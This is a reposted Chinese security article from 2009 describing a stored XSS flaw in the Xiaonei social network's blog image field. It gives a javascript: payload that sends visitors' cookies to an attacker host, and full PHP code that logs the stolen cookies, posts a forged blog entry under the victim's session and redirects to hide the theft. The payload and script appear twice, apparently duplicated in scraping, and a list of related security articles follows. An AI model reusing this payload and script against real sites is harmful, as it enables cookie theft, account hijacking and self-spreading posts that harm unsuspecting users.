校內(nèi)網(wǎng)最新 xss Cookies得到密碼
發(fā)布時間:2009-05-24 18:25:59 作者:佚名
我要評論

From:http://t00ls.net/viewthread.php?tid=1323&highlight=
校內(nèi)網(wǎng)在發(fā)blog時對插入圖片過濾不嚴(yán)格,存在xss漏洞.
在發(fā)blog時將插入圖片URL寫為如下代碼即可觸發(fā):普通瀏覽復(fù)制代碼打印代碼
javascript:window.location.href='http://www.xxx.com/test.<SPAN cl
From:http://t00ls.net/viewthread.php?tid=1323&highlight=
校內(nèi)網(wǎng)在發(fā)blog時對插入圖片過濾不嚴(yán)格,存在xss漏洞.
在發(fā)blog時將插入圖片URL寫為如下代碼即可觸發(fā):普通瀏覽復(fù)制代碼打印代碼
javascript:window.location.href='http://www.xxx.com/test.<SPAN class=t_tag xxxxx=tagshow(event) href="tag.php?name=php">php</SPAN>?cookie='+document.cookie
javascript:window.location.+document.cookie test.php的作用是竊取cookie、偽造閱覽者身份發(fā)一個blog、跳轉(zhuǎn)到一個正常的日志,代碼如下:普通瀏覽復(fù)制代碼打印代碼
<?php
ob_start();
$url = 'blog.xiaonei.com';
$cookie=$_GET['cookie'];
$cookie1=$cookie."\r\n\r\n";
fputs(fopen('a.txt','a+'),$cookie1); //cookie寫入 a.txt
//發(fā)一條偽造的日志,這條日志里面也可以插入惡意代碼
$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");
$data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";
fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "Referer: http://$url\r\n");
fwrite($sock, "Accept-Language: zh-cn\r\n");
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
fwrite($sock, "User-Agent: Mozilla\r\n");
fwrite($sock, "Host: $url\r\n");
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
fwrite($sock, "Connection: Keep-Alive\r\n");
fwrite($sock, "Cache-Control: no-cache\r\n");
fwrite($sock, "Cookie:".$cookie."\r\n\r\n");
fwrite($sock, $data);
$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);
fclose($sock);
//echo $body;
//跳轉(zhuǎn)到一個正常的日志
Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx");
ob_end_flush();
?>
校內(nèi)網(wǎng)在發(fā)blog時對插入圖片過濾不嚴(yán)格,存在xss漏洞.
在發(fā)blog時將插入圖片URL寫為如下代碼即可觸發(fā):普通瀏覽復(fù)制代碼打印代碼
javascript:window.location.href='http://www.xxx.com/test.<SPAN class=t_tag xxxxx=tagshow(event) href="tag.php?name=php">php</SPAN>?cookie='+document.cookie
javascript:window.location.+document.cookie test.php的作用是竊取cookie、偽造閱覽者身份發(fā)一個blog、跳轉(zhuǎn)到一個正常的日志,代碼如下:普通瀏覽復(fù)制代碼打印代碼
<?php
ob_start();
$url = 'blog.xiaonei.com';
$cookie=$_GET['cookie'];
$cookie1=$cookie."\r\n\r\n";
fputs(fopen('a.txt','a+'),$cookie1); //cookie寫入 a.txt
//發(fā)一條偽造的日志,這條日志里面也可以插入惡意代碼
$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");
$data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";
fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "Referer: http://$url\r\n");
fwrite($sock, "Accept-Language: zh-cn\r\n");
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
fwrite($sock, "User-Agent: Mozilla\r\n");
fwrite($sock, "Host: $url\r\n");
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
fwrite($sock, "Connection: Keep-Alive\r\n");
fwrite($sock, "Cache-Control: no-cache\r\n");
fwrite($sock, "Cookie:".$cookie."\r\n\r\n");
fwrite($sock, $data);
$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);
fclose($sock);
//echo $body;
//跳轉(zhuǎn)到一個正常的日志
Header("Location: http://blog.xiaonei.com/GetEntry.do?id=xxxx&owner=xxxxx");
ob_end_flush();
?>
相關(guān)文章
2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對win2003、win2008)
Windows系列服務(wù)器于2019年5月15號,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會遭到攻擊,該服務(wù)器漏洞利用方式是通過遠(yuǎn)程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma的問題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲通過MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計算機(jī),該蠕蟲感染計算機(jī)后會向計算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對其2017-05-17
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
- 漏洞檢測工具用語有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價值,感興趣的朋友一起看看吧2016-10-11
- 漏洞無處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)2016-09-29
手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來看看吧2016-09-28- SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡單七步教你如何解決關(guān)鍵SSL安全問題2016-09-23
Python 爬蟲修養(yǎng)-處理動態(tài)網(wǎng)頁
在爬蟲開發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12